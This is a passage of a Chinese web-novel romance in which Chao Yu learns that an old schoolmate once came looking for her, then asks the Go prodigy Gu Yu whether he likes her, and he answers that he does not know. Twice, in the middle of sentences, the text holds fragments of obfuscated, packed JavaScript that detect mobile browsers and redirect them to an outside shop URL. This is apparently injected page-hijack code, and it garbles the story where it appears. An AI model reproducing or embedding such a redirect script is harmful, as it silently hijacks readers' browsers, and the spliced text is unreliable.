葛洁、晁雨和许辰懿围坐在二楼的饭桌边。 雕了古朴花饰的木窗棱大开着,傍晚不再灼烫的风灌进来。天井里最老的一棵是那百年的桂树,另有石榴花、矮牵牛、角堇,热热闹闹、不成章法地开着。 香味也拧成一股,赶来给三个聊着天的女人下饭。葛洁做的那些家常菜里,平白带上了花香气。 晁雨手机震了下。 她边笑边把手机摸出来看了眼:“哎哟我去。” 手一抖,差点没把手机掉进面前那碗排骨汤里。 葛洁白她一眼:“都说你这孩子毛躁了,小心点。” “阿姨。”许辰懿插话:“她那是道创新菜,手机炖排骨。” 一直到回了房,晁雨才重又把手机掏出来看了眼。 是的,她没看错。 “,”申请添加她为好友。 辜屿加她干嘛? 在两人意外接吻、意外那啥后,她一直觉得她和辜屿之间有这份默契。 她在躲辜屿,而辜屿也在躲她。 她昨晚意外确认了她对辜屿的心动,可那是她一个人的事。 辜屿突然加她干嘛? 晁雨像屁股着火的鸵鸟一样在屋里兜了圈,按了[接受]后把手机放到一边,果断去洗了个澡,然后看了会儿古建筑图册,才重新把手机拿起来。 对话框显示: [你和,已经成为好友,可以开始聊天了。] 我可去你的吧! 辜屿居然什么都没发? 她直接给辜屿发了个:[?] 她想十分钟后辜屿要是不回,她就把辜屿给删了。 结果第九分钟的时候,辜屿回复了。 ,:[截图.jpg] ,:[我是什么脏东西吗?] 就是她发在朋友圈、把辜屿给截了的那张照片。 啊这。 晁雨莫名有种自己冲过去兴师问罪、结果一脚踩坑里了的感觉。 冷冷冰雨:[不是。] 冷冷冰雨:[主要你太红了。] 冷冷冰雨:[被其他人看到不好。] ,:[。] 晁雨放下手机,指尖扯了下自己的头发。 又站起来,像屁股被点了两把火的鸵鸟一样在屋里转了一圈。 不对劲。 很不对劲。 她莫名觉得,辜屿想问的其实不是一张照片。她想说的其实也不是一张照片。 可藏在那照片背后、他们真正想说的是什么。 别说宣之于口,她现在连在心里想一想的勇气都没有。 把手机放到一边,重新坐回书桌前对着古建筑图册。 大约用功了半小时,旁边一张被她用来随手写写画画找灵感的纸,已经基本满了。 她准备换一张的时候,指尖捻了捻那张纸,在角落里写: [大明星]、[无情]、[小四岁]。 最后笔尖点了点,落笔发现自己正在写一个“十”字。 那是“辜”的起始笔画。 她想起昨天在云泉高中,空荡荡的教室,她握着粉笔对着黑板[值日]那一栏。 晁二柱坐在讲台下的课桌边念叨:“叫杨什么来着……” 那一刻她的粉笔头点在黑板上,一瞬冲动下,想写的是杨亦哲的名字,还是辜屿的名字。 她顺手把那个十字给涂了。 - 第二天晁雨起床的时候,看到杨亦哲给她的朋友圈点了个赞。 晁雨犹豫了一下。 其实吧高三那年暑假,辜屿到底有没有把杨亦哲来找她的事告诉她,问一问杨亦哲就知道。 但她加杨亦哲的微信后,两人其实根本没说过话。 这天她下班时,顺着公交车往家的方向走,路过毛家小院。 一辆奔驰保姆车滑到路边停下,车窗降下来。 “晁雨。”一个好听的女声,叫起她名字有那么三分不确定。 晁雨扭头去看。 宋宛颜坐在后排,看起来她真的在拍民国戏,穿一件灰绿山水印纹旗袍,头发梳成发髻,愈发衬得一张猫颜小头小脸,像从民国画报 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说着又探头过来:“她要给辜屿什么这是?” 一看就啧了声:“晁雨啊你可得拿稳了。” 晁雨刚才已经看了,就是一盒曲奇饼干。 许辰懿摇摇手指:“这不是一盒普通的饼干。上海最火的五星级酒店西饼店,所有甜品需要提前三个月以上预定才能拿到。” “不知道明星有没有特权喔,但应该也不容易吧。你知道这一盒饼干多少钱?” “多少?” “五百四。” “……”晁.月薪两千五.雨,默默攥紧了手里的铁盒。 “那么问题来了。”许辰懿笑道:“如果你对辜屿有意思的话,这盒饼干,你是给还是不给?” 这是晁雨之前问过她的问题。 晁雨幽幽看向她。 “怎么?”许辰懿抬手摸摸自己的脸:“我脸上沾东西了?” 晁雨看向手里的饼干盒。 良久,挑了挑唇:“你先回家,我拿去给辜屿就回来。” 走进毛家小院,毛秀珍正在备菜。 晁雨打了个招呼,走进游戏房。 晁二柱如临大敌,护住键盘:“姐你听我说,有些人的八字就是跟电子产品犯冲……” 晁雨白他一眼:“我不玩游戏。” 她走进去,把手里的饼干盒轻放到辜屿手边:“宋宛颜杀青了,她来不及进来,托我把这个转交给你。” 辜屿看了她眼。 那样的眼神,让晁雨想起他问的那句:“你猜猜。” 你猜猜我有没有把杨亦哲来找你这件事告诉你。 马超在后面大声喊:“什么!宋宛颜来了!” 这帮兔崽子当着宋宛颜的面像鹌鹑,只敢在背后偷偷兴奋。 辜屿随手抄起饼干盒递给马超。 他缩手得很快,马超没拿稳,盒子啪一声砸在地上。 “哎哟我去。”马超眼疾手快捡起来。 打开一看,里面原本精致的曲奇四分五裂。 “啧啧,可惜。”马超拿起一小块:“还好味道不受影响。狗哥你要么?” “不要。” 晁雨微抿了下嘴。 在男生们闹哄哄分饼干的时候,辜屿手指垂放在鼠标上,抬眸看向她。 那是一双长得很好的眼。眼皮轻薄,眼尾微微上挑,却并不显得俗气,而显出凌厉。 在对弈时被这样一双眼望着,对手想当然会紧张。 黑白分明的瞳仁太过清澈,因而显得无情。因为无情,而显得无懈可击。 “没什么。”晁雨转身往外走去。 “诶雨姐,你不要饼干么?”马超在身后喊。 晁雨停下脚步。 走过来,因为饼干都摔碎了,所以她拿起其中的半块,向外走去。 晁二柱嘀咕了句:“我姐是不是不高兴了?” “刚才进来的时候不还好好的吗?”马超一嘴的饼干渣子。 “也是。可能我看错了。” 晁雨走出办公室的时候,说不上为什么,心里一种老大不舒服的感觉。 她把饼干喂进嘴,在一阵蝉鸣拽落的夕阳中微眯了眯眼。 也许,是一种物伤其类吧。 在她确认了自己对辜屿的某种心动后。 嚼着饼干穿过马路时,她嘀咕一句:“谁喜欢上这样的人谁倒霉。” 宋宛颜肯定是曾真心喜欢过辜屿的。 只有女孩子才会做这样的事。送一份看起来并不太贵重的礼物,背后却浅浅藏住几个月等候的心意。 只要有心,就能发现。 偏偏有一种人,他是没有心的。很不经意的把心意推拒出去,心意就这样跌落到地上,四分五裂地碎了一地。 “搞什么啊。”晁雨嘀咕着:“还是女孩子比较可爱。” 再这么下去,她都要弯了。 36. 第五件小事07 晁雨回到家,陪着葛洁做了晚饭。 她现在很喜欢三个女人围坐在二楼吃晚饭的时光,清风送菜,桂花下酒。 啊不对,没有酒。她酒量实在不济,往往喝的是葛洁切了马蹄,和鸡头米同炖的一碗甜汤。 絮絮说些闲话,是女人间才懂会心一笑的笑话,尽管她们天南地北,隔着年纪。 只不过今天吃了一半,晁二柱火急火燎跑上来:“姐!” “怎么了?”晁雨慢条斯理喝口汤:“毛奶奶又做什么创意料理了?” “不是!我想起来了!”晁二柱大口喘着气:“杨亦哲!他叫杨亦哲!” 许辰懿怔了下:“谁是杨亦哲?” 葛洁挑了条丝瓜,在一旁接话:“杨亦哲,我知道的呀。” 晁雨一愣:“你怎么知道?” “来找过你的嘛,就你拿到大学录取通知书那天。二狗子来家里说的,说有个叫杨亦哲的男同学来家里找你,当时你攥着录取通知书,在堂屋里面转来转去,像只屁股上没毛的鸵鸟。” 晁雨“啊”了声:“然后呢?” “然后你皱着眉说了声没空,二狗子就走掉了呀。” 收到录取通知书的那天,晁雨倒是记得的。 她从来不是什么天才型的学生,全靠努力。如果那年高考简单点,她应该有把握能考得好点。但那年高考的题,有些偏有些怪,她考出来的成绩并不理想。 收到录取通知书的那天她很是纠结,在要不要复读之间摇摆不定。 后来她还是没有复读的勇气,怕来年考得更崩。 原来,杨亦哲就是那天来找她的。 晁雨问葛洁:“你怎么会记得只来找过我一次的男生的名字?” 葛洁哼一声:“我连你幼儿园跟哪个小男生多讲过几句话都记得好伐?” 许辰懿放下筷子,叫晁雨:“你来。” 晁雨跟着她走到窗边。 许辰懿:“听到了什么?” “啊?” “你家二楼不是可以眺望到雩溪么,你听到了什么?” 晁雨看着她。 “比如,青蛙。”许辰懿启发晁雨道:“你听它们在叫什么?” 晁雨:??? “它们在叫——”许辰懿张圆了嘴:“孤寡,孤寡,孤寡!” 晁雨一巴掌拍在她胳膊上。 怎么讽刺个人还学会迂回了呢! 许辰懿捂着胳膊笑:“不是,你说说你怎么回事啊?人家小男生来找你,你不去见就算了,连人家来找过你这事都给忘了。” 许辰懿觉得她这姐们儿真的没治了。 难怪被明恒宇一个同骗了那么多年。这是脑子里缺根弦吧! 晁雨很无奈:“谁让他刚好赶在那一天?” “要是不在那一天呢?”许辰懿追问。 晁雨想了想,并没有想出答案。 时间从无可回头。 那时十八岁的她会做出怎样的反应,她已经没法想象了。 至少有一点可以确定,十八岁的她,注意力从没放在十四岁的辜屿身上。 十四岁?小屁孩么这不是。 晁雨问许辰懿:“你小妹是不是十四岁?” “是啊,怎么了?” “她们班有人谈恋爱么?” 许辰懿很浮夸地“嗬”了声:“十四岁的小孩敢想些什么,你是不敢想的。” 可是,辜屿把杨亦哲来找她这件事告诉她了。 那是不是说明,辜屿并没想些什么? 晁雨觉得自己陷入了一个困局。 她总站在一个有心人的角度,去揣测一个无情人的心思、想法、反应。 这简直就像跟哆啦A梦猜拳总出剪刀一样。 稳输啊。 闲的,真的,她觉得自己就是闲的。这要是在以前亚轩那样的工作量下,她还能有精力想这些七七八八的? 她可是四年都没发现明恒宇是同这件事呢,呵呵。 晚上她回房研究劝宁塔。祝境鹤给出的那份修缮方案很有章法,但无法解决结构的承重问题。 这时手机震了下。 晁雨拿起来看了眼,竟是杨亦哲发来的。 杨亦哲的微信,是晁雨高中某次跟他一起参加数学竞赛时加上的。 加上后从没说过话,杨亦哲今天给她朋友圈的点赞,就是这俩微信间的互动首秀。 杨亦哲:[方便语音通话吗?] 晁雨拇指贴着手机屏幕摩了下。 回复:[方便。] “晁雨。”靠在她床头玩手机的许辰懿叫她。 “嗯?” “你干嘛呢?” 不愧是亲闺蜜啊,只看晁雨的背影,就嗅出瓜田里长满了瓜的味道。 晁雨放下手机:“没干嘛。” 许辰懿也是闲的,真的,晁雨觉得她在洵州闲得都快长蘑菇了。 许辰懿从床上爬下来,滴溜溜走了过来。 晁雨的手机震起来。 那是一通语音通话。 因为晁雨很规整地给每个微信号备注了他们的本名,所以许辰懿清清楚楚地看到,来电人是——杨亦哲。 撺掇晁雨:“接啊。” 晁雨没想到杨亦哲会这么快打来。 在许辰懿的撺掇下她脑子一空,顺手就接了:“喂?” 杨亦哲的声音在电话里听起来更温厚:“嗨。” “嗨。” 一阵短暂的沉默。 杨亦哲清了清嗓子:“上次听你说,你现在在洵州工作?” “什么时候?”许辰懿在旁边用嘴形问:“你们什么时候说的?” 晁雨总不能说,是上次骑在校门上说的。 她微垂眸,注意力集中在通话上:“嗯。” “是这样。你是学建筑设计的吧?我有一个朋友,自己开了家公司,在找销售。他们是那种,怎么说,我也不太懂啊,反正挺专业的,B2B,所以其实他们的销售都是设计师转行,需要很强专业背景的。” “你有兴趣吗?”杨亦哲问:“有兴趣的话我让他联系你面试。顺便,我请你吃顿饭。” 晁雨“啊”了一声。 许辰懿在旁边疯狂点头,用唇语说:“去去去。” 顿了两秒,晁雨道:“其实我这种性格吧,不太适合干销售。” 杨亦哲那边没等她话音落下来,忙道:“明白明白。那,有空再联系?” “好。” “再见。” 通话挂断,许辰懿问晁雨:“干嘛啊?把人家小伙子弄得即尴尬又紧张的。” “我是真不适合干销售。” “不是有你亲姐们儿我吗?”许辰懿把胸脯拍得震天响:“你就是个驴,我也能把你给带出师咯。” 晁雨把手机放在一边,指尖在手机壳上无意识地抠着。 “那我也不适合去上海呀,上海的人都好洋气。”晁雨说。 “再说,这也不是一份设计工作呀,我不还是想当设计师吗?”晁雨顿了顿又说。 许辰懿看着她。 晁雨被许辰懿看得有点心虚:“干嘛?” “晁雨你是真傻还是装傻?”许辰懿连珠炮一样开始了:“人家为什么给你打这通电话你不明白么?人家挺体贴的,你突然从北京回洵州,那肯定是工作上出了什么问题,人家也没问,就想给你介绍份新工作。就冲这,我就觉得这男人不错。” “再者说,他为什么给你介绍这份工作你没数么?你得去上海,你俩才有发展的可能啊,不然长期异地,那还有什么搞头?” “我明白啊。”晁雨抠手机壳,抠着抠着发现上面有个小凸起,她用指甲用力抠了抠,没抠掉:“我怎么不明白。” “明白就好。”许辰懿说:“你要是真不明白,我就又要拉你去窗边听青蛙叫孤寡了。” 晁雨:…… 许辰懿问:“你到底是不想接受这份工作,还是不想接受这个人?” 晁雨沉默。 许辰懿:“这人绝对是你喜欢的类型。” 晁雨笑了:“我喜欢什么类型?” 许辰懿:“别看你是处女座,你的上升星座绝对是摩羯。你这个人吧,挺踏实也挺谨慎的,一步步都按照自己计划好的路线走,要不是被那老贱人坑了一把,你这辈子都不会出什么大岔子。” “说白了,你就喜欢明恒宇那个类型。温和的,看起来踏实的,能给人安全感的。” “这位杨,杨什么来着。”许辰懿想起来了:“杨亦哲,一听就是这个类型。老贱人不行,不代表这类型的男人都不行啊,你干嘛不试试?” 晁雨坦白说:“我不敢。” “怕什么?” 晁雨拖着许辰懿回到床上。她仰面躺在床上,望着屋梁上因为终年浸雨,不知何时浸出了颜色略深的一小块。 “怕改变自己的生活,怕付出,怕付出了又没结果。”晁雨侧了个身,枕着手臂跟许辰懿说:“我都已经栽了个大跟头了,再过没几年,等我三十了,再拖着个破行李箱从上海滚回洵州,哭都没地方哭去。” 许辰懿拍拍她的脸:“胆小鬼。” 晁雨咧嘴笑了笑。 许辰懿又指指自己的鼻尖:“我也是。” 想了想又道:“不过,这也是精明吧。你之前就是太傻,现在的人总要算得精一点,才不会受伤。” 晁雨翻个身,又变作仰躺在枕头上:“嗯,我现在可精可精了。” - 第二天晁雨去上班,临近下午五点,办公室突然轰的一声。 九叔大惊:“我玩扫雷把办公室给炸了?” “……”晁雨:“有没有一种可能,是停电了?” “哦对。” 办公室所在的这条街,和晁家祖宅所在的木安街一样,线路老化,盛夏用电高峰的时候,常常停电。 九叔没招了:“提前下班吧。” 晁雨心想:瞧我这点出息。 带薪休假一小时,都开心得跟什么似的。 走出办公室,左边活禽店的大婶叉着腰在门口喊:“又停电又停电!我冻起来的那些鸡鸭鹅们怎么办啦?” 九叔从她身边路过:“打市长热线。” “打了呀!可洵州整个就没钱,哪能办啦?” 九叔背着手跟晁雨说:“听见没?洵州整个就没钱。” “且不说祝境鹤当年没把劝宁塔的方案弄出来。就算弄出来,那也没资金落实。” “一个落不了地的项目,不可能带你重新出头的。” 晁雨没说什么,只“嗯”了一声。 她提前下了班,本以为葛洁还没回来。 路过厨房,却听到动静。 晁雨背着包走过去,听到葛洁的声音传来:“她这孩子一直都踏实,谁想到栽这么大个跟头。” 晁雨收脚,藏到旁边的一根廊柱后。 徐阿姨的声音传来:“是的呀,小雨这孩子我看着长大的,什么出格事情都不干的。” “可她一步步走得这么踏实,还不是……”葛洁笑了笑:“她从北京回来后什么都不跟我们讲,天天蛮开心的样子,其实我晓得,她心里不好过的。” “放心好了,我肯定给小雨找个好的。” “这是我晒的干笋,徐姐你拿回去吃。” “啊哟谢谢,你的手艺最好了。” “拜托你了哦。不然像我们这种家庭的女孩子,没钱没势没背景,怎么才能平平顺顺地过完这一生。”葛洁叹一声:“徐姐你慢走哦。” “你忙你的,不用送。” 晁雨又往柱后藏了藏,过了几分钟,才走进厨房。 “妈。” “诶你今天怎么这么早就下班了?”葛洁问:“碰到徐阿姨没有?” “没有啊。”晁雨拿起一块切好的黄瓜:“徐阿姨来了?” “我晒了点干笋,叫她来拿。”葛洁一拍晁雨的手:“洗手没有?” 晁雨叼着黄瓜又去洗手。 从葛洁身后扶住葛洁的肩。 葛洁一哆嗦:“哎唷你干嘛?手不擦干就来碰我。” “你怎么那么娇气?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749561|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 葛洁被她气笑了:“我娇气?” 晁雨就那样扶着葛洁的肩。 “谢谢你是个很好很好的妈妈”这种话,是无论如何说不出口的。 她盯着葛洁头上冒出的白发看了会儿。 “妈。” “干嘛?” “你该洗头了。”晁雨说:“头油了。” 葛洁穿着拖鞋就蹬了她一脚:“你会不会聊天?走走走,换辰辰来陪我。” “辰辰出去逛了,还没回来。” “那你也别在这待着。”葛洁白她一眼:“把我晒的干笋给毛奶奶拿点过去。” “行吧。” 走过马路的时候,叶片晃出的光斑,让晁雨忍不住眯眼。 她想,“平平顺顺地过完这一生”。 或许,这样真的就已经很好了。 迈进毛家小院,毛秀珍正坐在院子里磨花椒。 晁雨:“要做油焖笋哦?刚好,我妈让我拿了干笋过来。” “不,我炒火龙果。” 晁雨幽幽地看了她一眼。 毛秀珍哈哈一乐:“瞧把你吓的,我是要做油焖笋好不啦。” 嗯,看来今天没输钱。 “笋我备好了,你妈拿的这些,你给我拿进厨房里去。” “行。” 毛秀珍又扭过头来喊:“给我放上头柜子里。” “知道了。” 晁雨走进厨房,一打开柜子,就被掉出来的各种盐巴冰糖鸡精干香菇兜头砸下来,差点没把她给砸傻了。 晁雨:…… 毛秀珍的橱柜,这是塞得要吐的程度。 毛秀珍做饭,那就是“差生文具多”的典范。 不仅各种调味料多,并且,她还有一个巨大的柴火灶,说这样煮出来的米饭才香。括弧,虽然经常煮糊。 晁雨路过灶台的时候瞄了眼。 老太太的柴火灶经常点不着,拿了个辜屿以前的本子,每天随手扯一张来引燃。 晁二柱曾见识过辜屿的本子。 大为震惊地说他是怪物,那些题都是大学生才会的题。 晁雨目光凝住。 在一片复杂的算式中,在那张繁复草稿的不起眼角落,写着她的名字:[晁雨]。 辜雨的字有点草,很飘,右边往上拎着。 晁雨也不知在哪里看过一个靠谱还是不靠谱的报道,说智商奇高的人,写字都会往右上飘。 晁雨陡然想起自己的那张草稿纸。 什么样的人才会在无意识的时候写对方的名字。 她曾差点在草稿纸上写出辜屿的名字,写了个“十”字,又涂掉了。 她脑子里嗡地一声。 有没有那么万分之一的可能,她现在抑制不住有些心动的那个人,无悲无喜的妖刀或佛子,世人眼里没有感情、所以没有波澜的那个人。 恰好、从小、默默地喜欢过她? 晁雨走出小院的时候,毛秀珍在她身后喊:“要不要留下来吃炒火龙果,啊不,油焖笋?” 晁雨幽幽地回头:“你磨花椒就是想炒火龙果吧?” 她走出小院。 走过马路。 走到自家老宅的门口,在那站了一会儿。 突然跑过马路,跑进毛家小院的门。 毛秀珍正在爬满葡萄藤的爬架下摆饭桌,叫男生们出来吃饭。 看她跑进来:“怎么,又决定来吃饭了啊?” “辜屿呢?” 马超插了句:“找他干嘛?” 晁雨一眼扫过去。 马超往后缩了缩:“不是,你看起来想要打他一顿。” 晁雨又问一遍:“他人呢?” 毛秀珍答:“去济南参加活动了,这会儿应该在机场吧。” 晁雨踏出小院,站在月门前给辜屿打电话。 她人生最狼狈的一天,拖着行李箱、带着一块八毛六滚回洵州的那一天,曾在这里遇见一个少年。 她脚踝那个浅浅的疤泛起一丝痕痒。原来他们之间发生过那么多的小事,都被她不经意间遗忘了。 手机拨通。 一个礼貌而冰冷的女声传来:“对不起,您所拨打的号码已关机。” 晁雨抿了下唇,往家走去。 吃过饭,许辰懿躲在她房里吹电扇,拿手机翻一篇帖子,顺口念给晁雨听:“人一生的性格会发生改变吗?” “会吧。”晁雨想了想:“你看我,小时候挺厉害的,翻墙爬门什么都敢,后来我……” 后来我就在爬校门的时候卡门上,不知怎么下来了。 从此变成了晁卡门。 这句话晁雨吞下去没说,转而道:“后来我就变得挺胆小的。” 不敢再冒险。 不敢再随意改变生活状态。 不敢再去接受一份新的感情。 社会是如何打磨一个女孩的性格,从乖张变得乖顺,从张扬变得谨慎,从她身上可见一斑。 这时手机响。 是那串她至今还没存进通讯录的数字。 她跟许辰懿说:“我出去接个电话。” 许辰懿猹味十足地问:“谁?” 晁雨没答,走到连廊,夜风徐徐地拂过来。 她挂断电话,然后把那串号码存进通讯录。 直接写[辜屿]二字太惹眼,她想了想,存为:[小图先生]。 然后把电话拨了过去。 不知为什么,她觉得这个电话得是她打给辜屿,而不是辜屿打给她。 “喂。”辜屿接了电话,声音一如既往的冷薄。 晁雨以为自己的勇气会消退。 毕竟现在离她冲动打给辜屿的那个电话,已经过去两个小时了。 毕竟她是这样一个谨慎的人,踏实的人,胆小的人,不敢再承担任何踏错一步的结果的人。 可这时她站在草木香气盈满的木连廊里,听到辜屿那边传来机场吵嚷嘈杂的声音。 她听见自己对辜屿说:“我问你一个问题。” “你是喜欢我么?” 37. 第六件小事01 电话那头有一瞬的沉默。 “当面说。”辜屿只这样说了一句后,就把电话挂了。 助理——备注,他觉得他应该是天下最轻松的助理,因为他见到辜屿的时间都很少。助理看到辜屿低头划拉手机,开口问:“怎么了吗?” 辜屿:“买机票。” “嗯?”助理有点懵。 辜屿抬起头来看着他:“去上海的机票售罄了。” 毕竟现在正值暑假。 助理更懵了:不是,等等,你这眼神怎么回事?是要我给你变一架飞机出来吗? 他脑子重新转起来一想,更更懵了:等等,你不是刚从上海飞过来么?转头又要飞回上海怎么回事?打飞的玩呢? 说话间辜屿已蒙上口罩,往外走去。 “你去哪?”助理小跑着跟上去。 “租车。” “租车去哪?” 辜屿微蹙了下眉,露出一个“这不是显而易见吗”的表情。 “你不会是想开回上海吧?”助理脑瓜子开始嗡嗡疼了,之前谁说他这份工作轻松的,打脸来的就是这么突然。 “不是。”他小心翼翼提醒:“你飞来济南是因为明天上午有活动,记得吗?” “嗯。”辜屿答:“我买明天一早的机票了。” 助理更更更懵了:图啥? 这是图啥啊? 辜屿租车往南开的时候,心里也在想:他在做什么? 夜晚的高速公路很安静,一种真正意义上的安静。 它被夜色所包裹,又一路向夜色蜿蜒而去。没有起点,也没有终点。 辜屿右手搭在方向盘上,左手肘支着车窗,掌根撑着下颌。 又把手缩回来,坐正了继续开。 晁雨沉沉睡着时,手机震起来。 这天杀的闹钟今天怎么这么早。 她迷迷糊糊摸过手机,按了两下,没按灭闹钟。张开一只眼看了看,才发现那是电话。 然后一猛子从床上坐了起来。 辜屿一大早刚过六点给她打电话干嘛? 天才了不起哦?天才不睡觉的哦? 她清了清嗓子接起来:“喂?” “有空么?”辜屿问。 这,一大早六点的该算有空还是没空啊? 她说:“有。” 辜屿那边顿了下。 晁雨说“喂”之前清了嗓子、清空了些睡意,一直到说“有”这个字的时候,睡意才像回卷过来的浪。 她声音带一点睡意朦胧的暗,哑得很好听。 好像这是一个很私密的时间,她在说一些很私密的话。 辜屿说:“我在你家门口。” “你已经回来了?”晁雨微怔了怔:“活动结束了?” “没有,临时回来办点事。” “那……” “出来一下?” “喔。”晁雨说:“好。” 跳下床她先在心里骂了句:靠。 找弟弟绝对是不够体贴的,绝对。 不知道过了二十五岁的姐姐一大早脸会浮肿的吗? 她去洗手间快速刷了个牙,又用凉水拍了拍脸。 屁用没有。 算了就这样吧。 她换了条家居运动裙,又在外面罩了件衬衫。 - 辜屿站在这栋全木制的老宅外等着晁雨。 手机响起。 他看了眼,是经纪人打来的。 “喂?” “这么早吵到你了吧?” “没有。” “是这样,你知道C牌今年走的是亲情主题,你不是品牌挚友之一么。有这么一组海报,是三个品牌挚友携自己的母亲,挑一种花束,拍组照片。” “毕竟你家人从没露过脸嘛,我想着还是先问问你。拍摄时间半天就行,应该没问题吧?” 辜屿:“回绝他们。” “什么?”经纪人愣了下:“这可是C牌。” 辜屿:“我说回绝。” 他挂了电话。 晨曦是一点点透出来的,钻透孤薄的云层。 辜屿捏着手机站了会儿。 抬手,点进短信栏。 联系人一栏显示的名字是:[毛慕清]。 最后发来的信息显示: [你根本没有感情,根本就是个怪物。] [你会搞砸一切,你会伤害所有身边的人。] [别再回来了。] 身后脚步声响起,辜屿收起手机,往后看去。 晁雨站在那里。 她穿一件浅芦灰长裙,外罩一件宽大的白衬衫。正是天色渐变、蔷薇花开的时分,她站在那里,好像夜色是从她裙摆上一点一点退开去的。 辜屿走过去。 “你吃早饭了么?”晁雨问。 辜屿微怔了下:“你饿了?” “啊那倒也不是。”晁雨连连摆手。 一阵短暂地沉默。 先开口的是晁雨:“你不是要当面说么?” “嗯。” “那,”晁雨的双手背在身后,帆布鞋的鞋尖在青石板路上轻踢了下。 又觉得这姿势显得自己有点紧张,手松开来,垂在身侧。 她抬起头看着辜屿的眼睛问:“你是喜欢我么?” 她的眼睛有时像清溪,有时像小鹿。 她的五官里长得最好的就是那一双眼,澄净柔和到让人有点不忍心的程度。 辜屿的唇翕动了下。 他的唇薄,缓缓动那一下,其实很不明显。 但晁雨说:“你别急着说。” 辜屿看着她。 晁雨抬手,又不知道自己抬起手来干嘛,略有些尴尬地理了理衣领,又垂落回去。 “如果你要说喜欢我,请你要是真的、真的很喜欢我。” 辜屿的心说不上被什么戳了下。 那是一种异常柔软的、也异常酸胀的感觉。 很多记者在对弈的时候抓拍他神情,无论领先或是落后,他的表情永远没有波澜。 他指间所衔的黑子是一柄利剑,他的眼神也是一柄利剑。 有人说他没有心,所以感知不到任何情绪。有记者在跟拍纪录片时,拿心率监测器来测过他的心率。 搞笑的是,测出来的心率真的很低。 晁雨看着他的眼睛问:“你会认真的、不搞砸的喜欢一个人么?” 说完这句话以后,晁雨用力蜷住垂在身边的手,又放开,指尖是一种酸涩的感觉。 有一句歌词里唱:“这是我一生最勇敢的瞬间。” 晁雨不知道这是不是她一生中最勇敢的瞬间。 她一生中最勇敢的瞬间,也许是小学三年级晁正声和葛洁不在家,她冲进晁二柱房里挑走了一条蛇。 也许是初中一年级她站在全校的演讲台上,而她本性上是个内向的人。 也许是现在。 这就是她勇敢的极限了。她不浪漫,她很现实,如果她要敞开心扉去接纳一段感情,她希望它有结果。 而不是像上一段一样,搞砸得一塌糊涂,甚至沦为一个笑话。 辜屿在浅浅地深呼吸。 他是一个很少有情绪波动的人,所以这种用呼吸调节自己情绪的方式,于他显得很陌生。 晁雨补了句:“想好了再说。” 她在掐自己的指尖。动作幅度很小,可她的手指很白,指甲一点点掐住,先是指甲盖和指腹泛起白,很快又涌起更深重的红。 辜屿垂眸,看着她的指尖。 然后说:“我不知道。” 说这四个字的感觉也很陌生,不太流畅般刮过自己的舌尖。 “哦。”晁雨说:“哈哈哈。” 她又抬起手来理了理自己的衣领,问辜屿:“吃面么?” 辜屿微蹙了下眉。 他好像想说些什么,又不知该说些什么。脑子里是连夜开过的那些高速路,灰色的,没有尽头的。 晁雨已往前走去。 辜屿多站了半秒,跟在她身后。 木安街还在沉睡,可随着他们往前走,天光一点点透亮起来。走到录像厅所在的那条街上,周遭也一点点热闹起来。 晁雨在外面吃饭的时候很少,因为葛洁的手艺够好。 葛洁总说:“在外面吃干嘛?又费钱又不卫生。” 可在外有在外的好处。 还是上次那家面馆,晁雨带许辰懿来过的那家。一大早这里坐满了老人,一人一碗肉丝浇头面,配一小盏黄酒,还有那一小碟金灿灿的酥香豆是少不了的。 时而用筷子拈着往嘴里丢上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13754198|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颗,慢悠悠地聊着天。 两个煮面的大桶冒着腾腾热气,晁雨走过去点单:“两碗辣肉面。” 老板娘瞟她一眼:“姑娘,一大早吃那么辣啊?” 这里的人早上通常不点辣肉面,点肉丝浇头面,温和落胃。 晁雨笑笑:“嗯。” 洵州的盛夏太潮热,几台会摇头的电扇呼啦啦吹着也刮不走身上的潮气。老人们都坐店外,有些拿着毛秀珍的那种蒲扇慢摇。 晁雨捡了最边上的一张桌子,和辜屿呈转角的坐下。 听身后老人们在议论:“那是谁?” 有老头鼻孔里出气:“毛秀珍的外孙子,下围棋很厉害那个,这你都不认识。” “是不是啊?你也喜欢下棋,去找他杀两盘。” “哼,我就是年纪大了脑子转得慢点,这要是我年轻几岁,非得让他好好长长见识。” 很快老板娘端上两碗面:“来嘞。” 虽然洵州本地也有辣肉面,但这是老板娘改良过的,用的是江西辣椒,看上去红彤彤一片。 晁雨从筷篓里抽出双筷子。 上次她和许辰懿在这里吃面时,碰到男孩们。当时辜屿点的什么面,她没注意看。 印象中辜屿是不怎么能吃辣的。在晁家吃饭时,他总会往饭桌上清淡的那些挑,丝瓜,小南瓜,芥蓝。 但她也不想问辜屿吃不吃辣,就这么直接点了。 辜屿也拿了双筷子,沉默地挑起一筷子面。 晁雨埋头先吃。 吃了两口,掀起一点眼皮看辜屿。 面孔还是冷白,像盛夏里的霜冻。可是他的耳后,泛起一道细细的红痕,像辣出来的过敏。 每次他和晁雨亲近,拥抱、接吻,耳后也会泛起一道这样似过敏的红痕,像藏起来的破绽。 晁雨一下子收回视线,埋头吃面。 这面真辣。 连熏出来的雾气都带着辣,挂在人的睫毛上,让人情不自禁地想要眨眼,像是要掩藏掉某种情绪。 晁雨被辣得吸吸鼻子,抬起头来。 